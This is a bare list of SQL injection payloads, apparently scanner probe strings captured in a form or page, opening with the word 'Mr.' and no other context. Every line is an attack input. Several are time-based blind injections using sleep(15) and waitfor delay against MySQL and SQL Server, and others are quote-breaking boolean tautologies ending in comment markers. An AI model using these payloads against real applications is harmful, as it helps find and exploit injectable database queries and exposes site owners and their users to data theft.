Mr.

if(now()=sysdate(),sleep(15),0)

-1' OR 2+78-78-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+917-917-1=0+0+0+1 or 'dm3itSXJ'='

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 2+197-197-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

HSQZKnMs'; waitfor delay '0:0:15' --